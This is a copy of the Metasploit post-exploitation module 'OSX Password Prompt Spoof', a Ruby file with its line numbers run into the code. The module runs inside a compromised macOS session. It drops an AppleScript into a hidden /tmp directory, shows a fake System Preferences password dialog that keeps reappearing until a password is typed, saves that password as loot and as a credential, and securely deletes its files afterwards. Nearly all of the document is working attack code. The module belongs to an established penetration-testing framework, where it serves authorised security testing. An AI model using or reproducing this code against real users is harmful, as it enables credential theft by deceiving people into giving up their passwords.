Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/osx/gather/password_prompt_spoof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'OSX Password Prompt Spoof',14'Description' => %q{15Presents a password prompt dialog to a logged-in OSX user.16},17'License' => MSF_LICENSE,18'Author' => [19'Joff Thyer <jsthyer[at]gmail.com>', # original post module20'joev', # bug fixes21'Peter Toth <globetother[at]gmail.com>' # bug fixes22],23'Platform' => [ 'osx' ],24'References' => [25['URL', 'http://blog.packetheader.net/2011/10/fun-with-applescript.html']26],27'SessionTypes' => [ 'shell', 'meterpreter' ]28)29)3031register_options([32OptString.new(33'TEXTCREDS',34[35true,36'Text displayed when asking for password',37'Type your password to allow System Preferences to make changes'38]39),40OptString.new(41'ICONFILE',42[43true,44'Icon filename relative to bundle',45'UserUnknownIcon.icns'46]47),48OptString.new(49'BUNDLEPATH',50[51true,52'Path to bundle containing icon',53'/System/Library/CoreServices/CoreTypes.bundle'54]55),56OptInt.new('TIMEOUT', [true, 'Timeout for user to enter credentials', 60])57])58end5960# def cmd_exec(str, args)61# print_status "Running cmd '#{str} #{args}'..."62# super63# end6465# Run Method for when run command is issued66def run67if client.nil?68print_error("Invalid session ID selected. Make sure the host isn't dead.")69return70end7172host = case session.type73when /meterpreter/74sysinfo['Computer']75when /shell/76cmd_exec('/bin/hostname').chomp77end7879print_status("Running module against #{host}")8081dir = '/tmp/.' + Rex::Text.rand_text_alpha((rand(6..13)))82creds_osa = dir + '/' + Rex::Text.rand_text_alpha((rand(6..13)))83pass_file = dir + '/' + Rex::Text.rand_text_alpha((rand(6..13)))8485username = cmd_exec('/usr/bin/whoami').strip86cmd_exec('umask 0077')87cmd_exec("/bin/mkdir #{dir}")8889# write the credentials script and run90write_file(creds_osa, creds_script(pass_file))91cmd_exec("osascript #{creds_osa}")9293print_status("Waiting for user '#{username}' to enter credentials...")9495timeout = ::Time.now.to_f + datastore['TIMEOUT'].to_i96pass_found = false97while (::Time.now.to_f < timeout)98if file_exist?(pass_file)99print_status('Password entered! What a nice compliant user...')100pass_found = true101break102end103Rex.sleep(0.5)104end105106if pass_found107password_data = read_file(pass_file.to_s).strip108print_good("password file contents: #{password_data}")109passf = store_loot('password', 'text/plain', session, password_data, 'passwd.pwd', 'OSX Password')110print_good("Password data stored as loot in: #{passf}")111pwd = password_data.split(':', 3)112pwd.shift # date113pwd.shift # username114create_credential({115workspace_id: myworkspace_id,116post_reference_name: refname,117private_data: pwd,118origin_type: :session,119session_id: session_db_id,120private_type: :password,121username: username122})123else124print_status('Timeout period expired before credentials were entered!')125end126127print_status("Cleaning up files in #{host}: #{dir}")128cmd_exec("/usr/bin/srm -rf #{dir}")129end130131# applescript that displays the actual password prompt dialog132def creds_script(pass_file)133textcreds = datastore['TEXTCREDS']134ascript = %(135set filename to "#{pass_file}"136set myprompt to "#{textcreds}"137set ans to "Cancel"138repeat139try140set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "OK" with icon path to resource "#{datastore['ICONFILE']}" in bundle "#{datastore['BUNDLEPATH']}"141set ans to button returned of d_returns142set mypass to text returned of d_returns143if ans is equal to "OK" and mypass is not equal to "" then exit repeat144end try145end repeat146try147set now to do shell script "date '+%Y%m%d_%H%M%S'"148set user to do shell script "whoami"149set myfile to open for access filename with write permission150set outstr to now & ":" & user & ":" & mypass & "151"152write outstr to myfile starting at eof153close access myfile154on error155try156close access myfile157end try158end try159)160end161162# Checks if the target is OSX Server163def check_server164cmd_exec('/usr/bin/sw_vers -productName').chomp =~ /Server/165end166167# Enumerate the OS Version168def get_ver169# Get the OS Version170cmd_exec('/usr/bin/sw_vers', '-productVersion').chomp171end172end173174175